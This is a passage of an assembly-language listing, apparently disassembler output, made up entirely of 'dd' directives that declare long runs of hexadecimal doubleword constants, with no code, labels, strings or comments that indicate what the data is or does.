		dd 0B930C062h, 0AFD4E9EDh, 0FBE78D01h, 79DA0C1h, 0BBEC24h
		dd 0B3ACFEA4h, 79E56758h, 993E451Eh, 0E232A640h, 1071954h
		dd 21E43DD6h, 6E0646A8h, 0AA085B80h, 739907F9h,	0B74B87BBh
		dd 0C0F1C4EDh, 0A3153DCCh, 2437C33Eh, 842440C4h, 0DB916900h
		dd 22EDA68h, 0D4F866B6h, 1840C539h, 0F9003DB4h,	33B327DCh
		dd 4D1B92h, 0C5D1DA46h,	67AEC961h, 2D4AF000h, 7C6EA843h
		dd 0FBC70704h, 80E9D026h, 20F8FF52h, 0E21B3128h, 0CF7CB200h
		dd 68C7FB09h, 4A5600E9h, 0CE1CAF87h, 5038F391h,	98E400E1h
		dd 0B9744DF4h, 0CBA71D7Eh, 6A2E0396h, 0DE3EABBh, 7D621BC8h
		dd 668B7400h, 9F5E0F26h, 59BC0008h, 51F1A9C1h, 8100E19Ch
		dd 8BFB3CB0h, 0AB1DBA7h, 3306EC5Dh, 0D81E8Fh, 0E2C16AC2h
		dd 9C7365F7h, 0A92C3107h, 0A300AB40h, 0D7033Eh,	58243FB5h
		dd 34B76C7Fh, 0ACF50700h, 43B89579h, 0EE770FCFh, 0D6003164h
		dd 3ED2ED60h, 174FFB00h, 0FC98618h, 25A33F66h, 0DC002D58h
		dd 0B84AC189h, 3A01BB87h, 29AB77C8h, 0D834829Bh, 80A4FC4Ch
		dd 0B24822D8h, 0BD007A10h, 0FC8F31CFh, 60AC0B20h, 0E12299Bh
		dd 0CC00D6FBh, 0D423938Ah, 0DC72E5h, 2C8FF417h,	0AA9D4387h
		dd 3EBAC700h, 0C2660853h, 79A91DCEh, 145D0049h,	76233918h
		dd 2364338h, 0E8BBB951h, 5DCC68C3h, 0B1B41367h,	9CEC001Fh
		dd 0AE7E74B3h, 0A9A00202h, 40BE0AA5h, 12B26F24h, 0C26CBCh
		dd 4FB460A4h, 0C5002FFAh, 1B410AE8h, 68D171Ch, 0C54D194h
		dd 0F92461C0h, 0C787D44Ch, 0D1B3ECB0h, 0A0AEA380h, 0A07E8D92h
		dd 1F6AD310h, 4F1C3F0Bh, 49D3DC4h, 1E92F190h, 9BD0FC00h
		dd 0ECB3E27h, 6BCA0B6Ch, 79537Eh, 64497F82h, 0C900FF46h
		dd 122B2263h, 0DCC758Ah, 0E1610D3Fh, 0ECE0E090h, 50AF73Ah
		dd 0B88DBF4Ch, 0A0D1400Ch, 0AD930ED7h, 0C2CF706Fh, 72C99EA1h
		dd 898750Bh, 0A066C758h, 1408DFD0h, 1470C9ACh, 18791501h
		dd 0FF57265Eh, 4EDEB4E8h, 67317800h, 435BA3A8h,	94870306h
		dd 7BBD39E4h, 0EE1332C0h, 0D01F2EE0h, 758EA488h, 0F4188042h
		dd 48E4A6h, 1F706BAEh, 0F12F8EA7h, 9C985A00h, 0E9A4EB3Dh
		dd 0BC63001Ah, 0ABE3833h, 7009623h, 0E2C2FBDh, 407E4Dh
		dd 533C10B9h, 3008CBCFh, 6A886300h, 9AEBA92h, 0B61C071Fh
		dd 373F5A93h, 3CA840F0h, 900018F8h, 31EB7E0Ch, 50AE9DDBh
		dd 75380B0h, 5C5BF4Eh, 2403FF2Dh, 41E85AEBh, 0F4A56C6h
		dd 5BAFC4C1h, 63AAB4E0h, 10FFD467h, 0F40B79C1h,	680152EBh
		dd 0FA4A0953h, 0E7417286h, 6660BE01h, 84D7028Dh, 0DE6BCBE0h
		dd 0CE52AC68h, 47B4BA02h, 802E26D9h, 1A63C4DBh,	0FAD301E3h
		dd 5CB9E80Bh, 2FFC300Ah, 0C8DF1E00h, 0EA0113FBh, 252D004Eh
		dd 620C7226h, 5200C439h, 4F495CBEh, 0F6F22A6Eh,	0A6F0DCh
		dd 181AA836h, 0BB099EE2h, 6DC34B00h, 0C8052CD8h, 100F1DDEh
		dd 38258060h, 0F5AE65B5h, 0AABA8000h, 554764E0h, 0C3722666h
		dd 0DE7E00DDh, 94BC79Dh, 89C57A06h, 0A0A8E9h, 902AEBF6h
		dd 7A2D801h, 0C25C9D00h, 10146658h, 2D2F175Eh, 4F840B8Dh
		dd 39181D0Eh, 0AE00A2AAh, 0F0235E08h, 929D80D9h, 16D013Ch
		dd 3BF21A2Bh, 19947481h, 0E0523Ah, 0DF65F340h, 5D31C05Fh
		dd 0B587CD0h, 952BD20Fh, 0B4DB2121h, 48F86437h,	28A49103h
		dd 0A8F880BBh, 0EC0B2Dh, 0F325409Ah, 0E75C0E4Ah, 4C00D67Bh
		dd 122DC555h, 708F1654h, 0C8570018h, 5A24ADAh, 81002953h
		dd 1B33822h, 5C702Ah, 0ECFE686Ch, 174D8C58h, 0A7F07150h
		dd 0DE5B7700h, 9FFC44Ch, 0B9D40EF0h, 3BA2ED3Dh,	5940EA15h
		dd 8004706h, 24A7F9E1h,	7F8BAEh, 0F4619E1Eh, 3EABC4EBh
		dd 0CB99CE00h, 0DDD87064h, 0DBD2033Ch, 51BC822Eh, 0AAAC7D90h
		dd 55A55000h, 0E0443888h, 0CE8E007Ah, 0B5D8F862h, 0CDE2E993h
		dd 0A8177D3Ch, 7101D4EDh, 9E81F1B0h, 0A6C0E35Fh, 0F8C0A176h
		dd 0E0F526E6h, 0AA001574h, 71062638h, 235BCCEh,	0E94FECC9h
		dd 0CCA0864Eh, 40DD5DA3h, 1617C403h, 0C0053C1Bh, 5241BBh
		dd 22316B0Bh, 7C6456FAh, 6AEB9707h, 42840647h, 2F650780h
		dd 0E4C5045Ah, 0C21ACB76h, 27607D19h, 92070C21h, 0BB0EB6B4h
		dd 121D2A60h, 0DCD904A1h, 80C0D033h, 2BC33F4Bh,	6348F4E0h
		dd 89E91304h, 0F2526C40h, 4C5684ADh, 0EA7D08BFh, 0F9F1009Ch
		dd 0D694326Bh, 57FADA07h, 44B17501h, 0EC99897Fh, 6EF5A181h
		dd 248E079Ch, 973D4F30h, 0BDE88270h, 0C859DE24h, 41D60Ch
		dd 5BC9BADAh, 6FCD55A7h, 1B0BC67Bh, 983128Dh, 8240068h
		dd 17AFD3h, 0D5524496h
		dd 6C9A587Fh, 2377CC00h, 0E7E471F7h, 9EB7004Eh,	7F02EC67h
		dd 70B83D3Ah, 9820B6A0h, 879A0901h, 75B6BE55h, 300A2CE4h
		dd 263097FBh, 382E2E1Dh, 0CC067C8Fh, 0C051B5D4h, 4F164221h
		dd 200037BAh, 14F1BC74h, 7E1F924h, 64E83A94h, 0AE43B067h
		dd 3E604672h, 0D9381178h, 0C1C600F7h, 234D195Ah, 6648A0E0h
		dd 681B1902h, 98FB3229h, 3D635AEh, 0C847F5EBh, 8CD88A29h
		dd 1201C5E2h, 0E13E6963h, 0C42954F0h, 0F1168510h, 9EF83275h
		dd 0AD0D24EFh, 404F13F4h, 27A726B0h, 443CEEFFh,	2C020024h
		dd 0D084AAB9h, 0FE4C002Bh, 72D1E4E8h, 153D1A2Eh, 278C8013h
		dd 0A9FB93D5h, 3DA87A99h, 0EB80161Ch, 60B75AE8h, 0D4ECCF90h
		dd 0B430DB03h, 54F0E081h, 72246Ch, 0CD665A16h, 89AA4E78h
		dd 810183B8h, 4C26F868h, 0BBC84806h, 0C521817h,	192811F9h
		dd 0A2F82A79h, 6737F103h, 913AC27Bh, 0A0ECBF6Eh, 4BB51639h
		dd 1727000Bh, 22E6EF07h, 74671819h, 542C3D78h, 2B9984h
		dd 0B0C9734Bh, 0E1E0FCCh, 0F894CA7Fh, 66054104h, 0F4D8C0BEh
		dd 728FE17h, 920CFCA5h,	2971D6E6h, 41F51449h, 0B405FC20h
		dd 909B239Ch, 0A70CAB68h, 0A6D16100h, 0E36F63C5h, 287030C3h
		dd 0DB095E38h, 6853D400h, 0B32E84Dh, 2AE100D3h,	0AB6DFD60h
		dd 0F00082DDh, 3B1D7A49h, 30C0C49Eh, 2B419CA8h,	0F400C9DFh
		dd 7A6AFE14h, 942D71h, 120805AFh, 8EBE8782h, 5667D401h
		dd 715AB72Eh, 365D474h,	6B5FE8E6h, 358BF6FCh, 0E8B90228h
		dd 842CC724h, 0E2F27700h, 4D9D2Eh, 0A1958226h, 0EABC419Ch
		dd 9F992109h, 0FC44647h, 46BE7F14h, 0AF558680h,	9600DC5Dh
		dd 0B6CD7E0Dh, 11CD1E1h, 0F637E504h, 215B12E9h,	0A0704715h
		dd 0FF565478h, 6188B05h, 0F092C809h, 0BCC6DEh, 6F0C32A2h
		dd 251A3BD3h, 57F9231Dh, 4FB76180h, 4D1E62D0h, 440520BCh
		dd 192CE67h, 1E415C0h, 0B0702028h, 8029433Bh, 0D4348A1Eh
		dd 42224Dh, 8EF8D7CAh, 7C4A60C0h, 0D88D9903h, 907DA98Bh
		dd 12A7694h, 3E6AA11Bh,	300A7230h, 0DB1D2EE8h, 8B3A37E0h
		dd 22B108E5h, 5215F68Ch, 243F2570h, 0EC0A5818h,	0F9047440h
		dd 0EE9DD000h, 6437FD19h, 408E3F50h, 84C020Eh, 68007658h
		dd 1F2E3891h, 303C47h, 70D3E003h, 0B0B5E50Bh, 1F2E79CFh
		dd 0EC1E6424h, 0DB8FFDC0h, 0AD94D7h, 66503B8Dh,	7BF7BBDCh
		dd 8BE0BC05h, 54034AF6h, 0B8D11C67h, 0B10C43h, 5DFB4915h
		dd 46B39426h, 39765F00h, 0DC30ED3h, 57280E7Ch, 0E4C7D172h
		dd 3AC8F0C7h, 0D600B523h, 0C5F0F229h, 59609h, 1EC05C9Ch
		dd 0A1F16CF6h, 2C00E972h, 0E312E551h, 62A5EAh, 0B69046F5h
		dd 0D9AAE019h, 97A7D600h, 70F4EDEh, 77B030B1h, 83C995E1h
		dd 932E4501h, 0CAF64CE0h, 217D0898h, 831FC1F2h,	9581BDD8h
		dd 0BE8E8BDDh, 0A6DBE181h, 3A07D402h, 5B4924C0h, 1A0E049Ch
		dd 0B410C848h, 8C000478h, 443DC240h, 66E50CD1h,	2171088Dh
		dd 3807037Ch, 244F8A57h, 0F3CD7FA3h, 0C15818E7h, 72138878h
		dd 32061579h, 0B2FF73A4h, 92753AA1h, 0B08D391Fh, 13ADE811h
		dd 981FBE7Dh, 3A78B0ECh, 21DE30EDh, 1395CDh, 0C928C838h
		dd 0BEEC2D36h, 9123961Ch, 0E003AC4Eh, 9C9E7532h, 5CAC9A53h
		dd 4600ACE8h, 0C0EBE0D1h, 0EC74F0C9h, 8E210460h, 1E447C3h
		dd 0E6319596h, 0E09A039Eh, 703001D2h, 416FB0C1h, 60B167D1h
		dd 0F9C0C3DFh, 10C0186Ch, 970CCh, 0BB246FB3h, 8502360h
		dd 1A8F9000h, 2E2D43E0h, 0EFFF004Bh, 28E40633h,	791C971Fh
		dd 5EC08E41h, 0E7D2134Dh, 8436079Ah, 0F1AD3491h, 81F4554Ch
		dd 9DBB7321h, 5AF48AE8h, 0BD923331h, 2100FB08h,	0CC9DB335h
		dd 0F1A50Fh, 0BBFED088h, 0EA77F82Eh, 7A13B801h,	611E4D04h
		dd 3E3E71BCh, 0E7017CDCh, 0DF7D6FB9h, 92088CF1h, 403B204Eh
		dd 9E00B202h, 482B18C0h, 40883D98h, 81005E1Ch, 0A46409A8h
		dd 39546234h, 67803E42h, 0FC401D65h, 993004C9h,	165E5179h
		dd 3D8E98D6h, 0CB87112Ch, 5C98DEEFh, 8630AAA0h,	3B2D2935h
		dd 0B617033Ch, 0CB7B9D4Fh, 21C0097Ch, 833C230Dh, 200C00BEh
		dd 0F07321AFh, 3D06D2FEh, 0E557460h, 34D0728h, 60DE7D29h
		dd 0AB39FC0Ah, 0B2EC70C0h, 0E306EB78h, 1CEEA096h, 13B70FDFh
		dd 0F6F20CFFh, 0D3009D28h, 196F8B64h, 0BEC343h,	0B8FF43Eh
		dd 0DC3BBFD8h, 915CCA00h, 504566D9h, 252907CDh,	50F42270h
		dd 0EA162138h, 11DE0F05h, 0AF82A2h, 0F3FA361Fh,	60002F03h
		dd 9219B1FEh, 0D304BFh,	3922F9B5h, 7A9ACBC7h, 0D0C1731Dh
		dd 5E4F1081h, 59D4CDE7h, 0A9510016h, 3B6DF327h,	0E4005A69h
		dd 0DBCCDF62h, 0C556DAh, 0D3610E35h, 1E69A4C1h,	8AF8F205h
		dd 4381FC6h, 0A04A3E5Fh, 0CFBE814h, 0B79AE603h,	0BCA83C82h
		dd 9CC458Eh, 38621F1h, 4947B7AFh, 2CA8BFFEh, 917913D8h
		dd 90B95F00h, 97F80DCBh, 0D5A600BDh, 0DA02CA84h, 0DC00D28Ah
		dd 623E7EE8h, 0C0C230F0h, 0A7411B50h, 0C40929E3h, 0AE7570h
		dd 0F789DA59h, 0D50009Ch, 2A13B369h, 0AC0A1FC4h, 20B67641h
		dd 8C79BD78h, 0B4C57406h, 0E18D80h, 5166AD2Ah, 0DC039A1Bh
		dd 8821333h, 0D321003Eh, 160E6674h, 0FB60E371h,	218BF258h
		dd 9C07541Dh, 6D520AC2h, 3EA023F7h, 1E190930h, 97049F18h
		dd 3F58BBD4h, 8029AB82h, 0AC8AFE88h, 0BCF75527h, 668FCh
		dd 0E29E61C0h, 0E1CE7926h, 8B600FE8h, 6801A20h,	8E38005Ch
		dd 0FD1D2341h, 0D238A49Bh, 98DF80EDh, 1157DE80h, 4E60CE2Eh
		dd 0E3E20256h, 0D4A79D0Eh, 0F24A4FA8h, 5D768ECh, 62AE3C7Fh
		dd 8120EDECh, 67B798h, 0A5EF07C1h, 9676F1EAh, 483941C3h
		dd 0EEE90508h, 0EFDB8Dh, 0D6540AECh, 0E97C15FCh, 858C21C1h
		dd 1B00C5A7h, 9505371h,	331E0EE0h, 29F04239h, 1015C98Eh
		dd 14B238EBh, 14B8DDA7h, 10ECB8D9h, 1600E207h, 0B715DC3Eh
		dd 7500D321h, 941879B6h, 0A2BA7B4h, 2ABD8704h, 393B0384h
		dd 9F801493h, 0CC78085Fh, 710E4130h, 0CB907BF2h, 0EC807AD1h
		dd 0A4AD8509h, 8E2EDC00h, 0DB92A31Bh, 0D4DA5489h, 0EAB6A1E1h
		dd 102B7020h, 3A5C4937h, 6F1585E3h, 383BD5Dh, 0F771B8DAh
		dd 0A4E8C005h, 9DE7A6A2h, 0F689AA00h, 1D7DF8ABh, 0FF89C025h
		dd 8CAF4D4Fh, 0C22E3406h, 60081CA4h, 0E7E621DEh, 975B34Eh
		dd 0E870E001h, 8CDB931Bh, 0FC14C40h, 4EDE4051h,	0AA5DEB3Ah
		dd 4110B8BFh, 9F05108Bh, 3003D0D2h, 0C575E790h,	80889D49h
		dd 1B52668Ch, 41448CD2h, 66B31CD0h, 0F73F005Dh,	67CD7E1h
		dd 4B9E78C1h, 3CD80251h, 18C7249Dh, 0E28E00BEh,	764AA9D2h
		dd 0B1E02737h, 68743D0h, 0B8AD0060h, 91634E40h,	0F0A0F5A8h
		dd 0A40AED22h, 0E0DA01E0h, 0B9E33406h, 0DB8A0081h, 410F6961h
		dd 2C03B175h, 738D8EC4h, 0B03042E5h, 4E017C23h,	4C8CB04Dh
		dd 0E988D718h, 3E4E38E6h, 280CDE82h, 889061F1h,	351D6B39h
		dd 0DFC10785h, 0A2DB9056h, 61BE39BCh, 80F64D14h, 8C4AB050h
		dd 68B7C004h, 0B862963Ch, 0B79D7C20h, 6AA7001Bh, 987B8103h
		dd 4500215Eh, 0DBB0874Ch, 0F2AFEADh, 0B73322A0h, 0CB116978h
		dd 767A3901h, 0BD4F5D4Ah, 593F443h, 63415179h, 69A41BDEh
		dd 81E291E3h, 4D5388B0h, 948C8B11h, 0CA00229Ch,	5A184EEBh
		dd 1E074999h, 40FB628h,	0C8F214B2h, 0B4001EFCh,	37E867EFh
		dd 3075D027h, 12C67D0Ch, 5600A3A5h, 453F0943h, 1394BB44h
		dd 652E44Dh, 0A15813E0h
		dd 0B1445090h, 480790C5h, 5F064C59h, 0F0CF6907h, 0B886A229h
		dd 0E943810Ch, 547803DEh, 323947D1h, 0C99300A7h, 7F004991h
		dd 3E862D03h, 0C1375587h, 26151450h, 0C8844BACh, 0E044C0DDh
		dd 49241B90h, 64A6E853h, 12B62238h, 438F87DBh, 30D75F18h
		dd 3D0CB8DEh, 80414D6Fh, 0E1071A9Ah, 0FC411802h, 5AD310DCh
		dd 0EA6B2C01h, 698E0456h, 48B89015h, 10024F34h,	5F223F99h
		dd 30C0C4FDh, 80A1F61Eh, 0CC003177h, 0B56D045Bh, 0E2E571h
		dd 13D138A6h, 26E702A7h, 529FA08h, 533B008Bh, 18F5B51Dh
		dd 15DF9D01h, 6FA7D32Eh, 0C5168036h, 5FF80352h,	0C0049235h
		dd 0D994D733h, 43E97488h, 0B79B02FBh, 0C7CE3CCBh, 0B4850324h
		dd 5DF860B7h, 0F0263450h, 84699470h, 8B629AC8h,	0AA2F8475h
		dd 884040D8h, 6600B2D1h, 0EB6F5B8Ch, 48B51B8Dh,	0DAFCFC02h
		dd 8660008Ch, 0BF7616BDh, 75037DE8h, 0B063E3B9h, 1D082C97h
		dd 0B1FC4074h, 9178F3Ah, 0CEA84A2h, 15998CC4h, 61C2FE13h
		dd 0D2A37800h, 5D46ACBh, 53599B22h, 8548D2A9h, 0B004D663h
		dd 0E189115h, 61AF2880h, 8DE20596h, 6C174CBh, 28B7709Eh
		dd 0AC3D7200h, 516C5A3Fh, 821F1DD0h, 3E2E86A4h,	9004187Ch
		dd 0BA48C8A1h, 40509CC3h, 58F08861h, 1380705Fh,	38BC790Ch
		dd 0D58ECE1Ah, 91C01D29h, 772D8737h, 1354A281h,	9050FAFDh
		dd 9DACE61h, 0D1BBF235h, 0A618780Ch, 0E38DD609h, 1D089DEh
		dd 304CA300h, 2340E008h, 77192C3Fh, 0FB490063h,	0FCACA058h
		dd 0B8507459h, 0B7D184Ch, 0C4C188BFh, 0C573AC13h, 0C0838408h
		dd 8CAD4D51h, 0D8224446h, 4EE9E401h, 8CF2699Fh,	70F9E840h
		dd 0FF9E166Bh, 0C9AC1815h, 0E892A627h, 6E2610E8h, 8008B57h
		dd 599C99B7h, 46030084h, 0F5776365h, 0DCB1A6DAh, 88B7F702h
		dd 8C8400D0h, 6050963Bh, 590007DCh, 0DD90BAB6h,	908A3137h
		dd 0D16101C4h, 5B758CBDh, 0A0E047F0h, 11E3EA03h, 0A400C441h
		dd 0C35A0137h, 0F491BB30h, 209903E9h, 58CE6DCh,	3C84B79Ch
		dd 3508EB6h, 19B7B990h,	6BF80BA2h, 780261FDh, 920BF3A9h
		dd 2AA38074h, 0BC383Eh,	0DCC90360h, 0F8AA9C70h,	51B6FB30h
		dd 7492261h, 802AC2CFh,	0E9077084h, 0D2020AC7h,	1802FB55h
		dd 87AC84FDh, 0D9F0B05Eh, 8F2085EBh, 0A320C8C0h, 6B8E89h
		dd 0DD981F6Ch, 92A0A1ACh, 94B98043h, 23F83A17h,	1BF6008Bh
		dd 0D88AC815h, 0D8A5DA29h, 0E90ABF16h, 5902800Ch, 5258656Fh
		dd 1B146E8h, 61BF067Fh,	0D0CE176h, 13771D88h, 47A6A06h
		dd 410F1004h, 303748FAh, 58300835h, 521C8C80h, 0CC7E8C4Dh
		dd 4ACDE068h, 999A0B4Dh, 4024589Eh, 0E0041240h,	0D5010728h
		dd 0B8948957h, 0CE810018h, 5939D33Dh, 249D722h,	21766080h
		dd 0F84540E2h, 0F160C9E4h, 57003F31h, 0E2F0178Ch, 9921634Dh
		dd 39ECAC50h, 59FA331Fh, 421F793Ah, 6930B3A4h, 61C11106h
		dd 830F88A6h, 1D06813Bh, 57F93788h, 95D56F03h, 0A0E5FABFh
		dd 610DE37Fh, 0C66099C8h, 1DE02099h, 6960E01h, 0C56A5CF1h
		dd 743420A4h, 6E0C3746h, 0E7D92A89h, 23A8014Dh,	66AF01B6h
		dd 188A1B4Fh, 76CD8845h, 0C1326600h, 78A6C8C3h,	0B0A2B853h
		dd 6038A238h, 7779AD1Ch, 99D80304h, 659B7189h, 0D58C1804h
		dd 8C91ECC0h, 0F4622B06h, 3B005A3Eh, 0D4FE3FEEh, 4A091973h
		dd 817B1EF3h, 29DA63C0h, 479BAD00h, 80E95F25h, 0ED9EF808h
		dd 16E702AFh, 8E653A06h, 71207452h, 7F5900F5h, 8E4DADFh
		dd 0AE1EFD33h, 74577797h, 93C67040h, 53767AABh,	0E4842037h
		dd 0FC0864AFh, 685C077h, 8646619Dh, 37001022h, 0CC95067Dh
		dd 12FAE8ABh, 81CD0FF9h, 2D2CA690h, 52900034h, 0E5D28C8Dh
		dd 0FAFF0025h, 555A2E13h, 8E28A373h, 0A8129CCAh, 5704035Fh
		dd 40A04501h, 40989E4Ah, 0A8154D77h, 476C2807h,	0A07FF9B0h
		dd 6BC4C02Bh, 40B56038h, 4C79C58Bh, 546E1C00h, 0FA484480h
		dd 0A1309084h, 9C10C144h, 881B9EA4h, 1161AA6Bh,	18F00C20h
		dd 0BB190B1Eh, 0CDBA0E4Bh, 0F121607Fh, 248780AFh, 0E600271Ch
		dd 0B039848Fh, 4894F9Ch, 0DF5FD512h, 0AE04E01Ch, 505AF22Eh
		dd 0A33C1440h, 32940180h, 595DA422h, 0DC0425D7h, 0EA0F35B8h
		dd 851BE26Bh, 0C00BCCFh, 80B5B7Eh, 50A14CE4h, 27944900h
		dd 0CC48E63h, 0DF277575h, 0EB780201h, 7FA60113h, 0FD40308Ch
		dd 91F4340h, 0B5573ED5h, 2579F040h, 336DCE02h, 9087DB89h
		dd 59DFE1ECh, 1D1388B4h, 936C2004h, 7316E46Fh, 0ED1F08C9h
		dd 34EA63C0h, 66A0D761h, 507C310Dh, 5F362B07h, 0B6B0784Dh
		dd 5F98Dh, 0CEDBA09Bh, 0B9DC53E6h, 0BCC4E800h, 702601B5h
		dd 47700AAh, 53D68A8Dh,	0F2008531h, 0D16015AEh,	0A45B507h
		dd 93593749h, 0C57A03AFh, 0D4A83D64h, 3A38631Fh, 0C17900F5h
		dd 9912F62Fh, 451A00FEh, 0EF47D6A8h, 5C079B63h,	64AF7B04h
		dd 3913A240h, 80F50021h, 833BA8EEh, 0C500BDC4h,	0F109D253h
		dd 76333Fh, 74DB34F9h, 3C379069h, 0DFD7A500h, 83B891AFh
		dd 0B4F80055h, 0FC8AFF68h, 3400261Ah, 53A9B984h, 344186Bh
		dd 5A2B57C3h, 71B032C9h, 9F60549Ah, 0DE8079FEh,	0A3241E37h
		dd 835D4768h, 0EB31A1B1h, 60ADE56Dh, 0E0004BBCh, 7A247FF3h
		dd 2CA59Dh, 0BD15C5A3h,	0FC9125B5h, 91AC600h, 0D9D5549Ch
		dd 14580650h, 59F26703h, 92A28500h, 363A5B51h, 0EE8F2809h
		dd 0BF18C1ACh, 10694CD4h, 31D38FCh, 11C9485Dh, 4A80F7B3h
		dd 453CFEF5h, 0B1ECE008h, 77BD828h, 0A5B60C63h,	9065960Fh
		dd 0D13E0B00h, 0F828C34Dh, 0AB2A0002h, 971F9BD0h, 0CEE00F8Ah
		dd 86571103h, 0A0EFFCC9h, 4C506B01h, 0CA0054F0h, 5FD8449h
		dd 2903DD41h, 1B57E5BAh, 0E424B8A2h, 985F078Dh,	31AE8881h
		dd 0F0B082C6h, 5D0119A6h, 85020ECAh, 0F420C752h, 0A5EA2Eh
		dd 2D0ACE8Eh, 95DC197Bh, 0C6828B00h, 0E5DD3A65h, 46FA00F0h
		dd 0F29E5CF6h, 7B090B7Fh, 80B2EC6Ch, 0EFD212BAh, 0B8410244h
		dd 3EE80740h, 52CB80A0h, 0E300CFFEh, 17F5A2B5h,	6924395h
		dd 302774D4h, 600020B7h, 1A4829C5h, 1EA7A973h, 4B9D90E9h
		dd 0E681DD7Fh, 8012E30Ah, 5AB18C50h, 728C983h, 0E889738Dh
		dd 58F4F06Dh, 811578B6h, 7D0171Bh, 0ECCF2AAAh, 0C80C7E4h
		dd 0C057A5h, 9A8165B5h,	4DBFB952h, 44166D00h, 7750758Dh
		dd 27FAD7h, 0E8DBA469h,	450207F8h, 0B5D67203h, 0E990EA76h
		dd 0AE11B6Bh, 627E9083h, 8DE01A9Fh, 660CAF1h, 5F49FC30h
		dd 9B6800DEh, 1EB5EC27h, 1400CC3Bh, 667819DAh, 1FCA0E89h
		dd 833152h, 4503DF84h, 170092EFh, 27BBF9BDh, 0D5636Dh
		dd 1EADA307h, 0D2755B84h, 0E109E8FDh, 0B40033E8h, 0DF6C792h
		dd 7074DABh, 3B200491h,	0F546B0E4h, 0F0C08B9Bh,	5831F215h
		dd 0A4CD54FCh, 0EB5B00BEh, 49050C88h, 0EC04E744h, 0CF0618DDh
		dd 7F628490h, 0D03400A7h, 0EBD157FEh, 29005ECAh, 0F26DD481h
		dd 32574BAh, 2A6EE690h,	0A1E84CDEh, 50E9497Fh, 0C53094C0h
		dd 43E740EBh, 9330B1BBh, 58C4E85Fh, 2DE2026Ah, 4AF54404h
		dd 0FF15CCA0h, 31002674h, 712E1EF2h, 10A40F8h, 9D3FCA7Bh
		dd 800FCBA1h, 0EA480CC0h, 31936106h, 0DF59343Ch, 0D3AAEC42h
		dd 0DBF88400h, 9D682FE6h, 1202F2BFh, 0F2046B7h,	0FCE0FE4Dh
		dd 9363A647h, 8019BB00h, 0AA3A13D4h, 0C9D485Dh,	442B4680h
		dd 0CB13A588h, 0E400868Ah, 0A0B59C3Dh, 14CD2E5Ch, 0AFC70059h
		dd 3844E06Ch, 0F02A58h
		dd 61421AADh, 7B38417h,	9E995AFCh, 5FFB20D3h, 0EE0348DCh
		dd 7FCCAD50h, 1E7DA831h, 9AF100AEh, 2652FB88h, 0F5000C85h
		dd 96E83CBFh, 0EE73482Fh, 355500ACh, 8D53C616h,	0DD003E2Bh
		dd 0C861A4D2h, 7BDB9525h, 862800F1h, 0FDDAB56Fh, 0BE48129Ch
		dd 144B00B8h, 0E7E1240Ch, 22263F38h, 7D425C80h,	9E67EE33h
		dd 56743Ch, 449085B5h, 26D384E0h, 0E9DB86Fh, 0B3406102h
		dd 0D5A8AA7Ah, 74ACF300h, 0E7DF892Ch, 85F6D8h, 67419392h
		dd 63C20D82h, 0CD286A7Bh, 5F1DECB2h, 3600B612h,	6FD90ED7h
		dd 1C700B9h, 0EE67B31Ah, 74008EF5h, 0D486F853h,	509A2E21h
		dd 8BC7Ch, 0BA042709h, 924A29B9h, 0C3BE1000h, 0EFC95DF7h
		dd 171002Ah, 2236F8A7h,	753A5829h, 8950046h, 514B1205h
		dd 0C17E4868h, 10899A00h, 22BB0C6Dh, 0ABBCBD00h, 5BAD0AF2h
		dd 0A86800EDh, 1CE35231h, 0BE00FA46h, 0A4CE720Fh, 7E9C91Eh
		dd 0DCF2391Fh, 978EE00Ah, 0EAF8EEA9h, 3822D900h, 29371455h
		dd 0D86A1264h, 676840AEh, 9E4226C1h, 76E7E400h,	85F6CEBh
		dd 1DE07FBh, 0A306B310h, 2000A2FFh, 0CA9CD89Ah,	0CE492Fh
		dd 61841187h, 88A1B8B6h, 7A48A001h, 24234504h, 0B4245AE5h
		dd 0C94E0111h, 2B2A4DECh, 0FCE024ADh, 0FED22204h, 32833663h
		dd 518DE18h, 5E85ADCBh,	77449012h, 75180841h, 0B220A260h
		dd 25D701AFh, 0CD392250h, 0B870248Ch, 0DC80461Ch, 0CC1BD4h
		dd 0BD73439Ch, 0DA580Ch, 4E931DE6h, 5D8AD15Ch, 8F07B2F8h
		dd 61C57983h, 0D38B6900h, 0A1231C3h, 0D49CFF30h, 0CA1F9320h
		dd 22C761C0h, 0BE69444h, 16E90020h, 0FE7CCFA7h,	95007706h
		dd 141BCA4Dh, 0A1D0CD30h, 0F03AC9F0h, 4474991Fh, 0B8872100h
		dd 4F3DB136h, 8C68C7DBh, 0C7A49E7Dh, 5A548078h,	8D037050h
		dd 7EAAB2Eh, 0D5ACD0D0h, 43B13972h, 8C186F80h, 0E6A8C39Dh
		dd 8E24AB00h, 2E936ACAh, 755C07FAh, 0A0EDA992h,	54236FDCh
		dd 9EC47200h, 0ECB04B2Fh, 0F5B40071h, 996EAA5Bh, 0BD073A5Eh
		dd 0B8AEE7C7h, 4F6634C0h, 0CDB00007h, 20FEE1EFh, 5A1CAD49h
		dd 0A347904Bh, 18A20621h, 4FA5600Fh, 362C023Fh,	8AF6B610h
		dd 6D727C0h, 0F695F3Ah,	0EC28780h, 0E97A003Ch, 0A046B21Ah
		dd 0E6627788h, 767400D6h, 1E33BE90h, 37000116h,	9A537EA6h
		dd 8389BCh, 0B65BACCAh,	12A2FEDDh, 8024EB00h, 45BEBA1Fh
		dd 0FB5F2F3h, 0B103D573h, 23584800h, 3309639Ch,	2098E055h
		dd 0D141F720h, 12C50053h, 8C768459h, 8901B827h,	56E26178h
		dd 49F8D503h, 986A009Bh, 0B0971C40h, 141FC319h,	0C5850AD3h
		dd 12C0D943h, 0B031EA72h, 7836009Fh, 0C832A1E9h, 0A890BCB9h
		dd 0B4513817h, 6BF83B00h, 283B3E76h, 1810C631h,	99B45396h
		dd 0D92E5118h, 0DA0EF7A0h, 96A88289h, 34108019h, 735BA10h
		dd 37F2E9ACh, 4C1E417Ch, 0A438017Eh, 9EDCF0h, 0C5E6F9C4h
		dd 4E96ACE8h, 0F1624700h, 0B50F3299h, 89FE13h, 8D6E503Eh
		dd 65B0DB3Bh, 9306FCF0h, 0B3F8B942h, 6C6E7871h,	0B46021A1h
		dd 0D48FE900h, 0E3B1D094h, 703EC70h, 0BD8E32B5h, 551E1191h
		dd 0ED988372h, 0B543B737h, 5A2009h, 99843D05h, 0EC140761h
		dd 5A965D94h, 63BA0070h, 0E9B5C7AEh, 3C58AD00h,	7E06AE2h
		dd 8573F3h, 0DAE3284Dh,	2014C6B3h, 2EDC4200h, 0AE6A13F1h
		dd 0E4C400D7h, 9129DEB9h, 0FA7FCB37h, 0FA80900h, 6345C097h
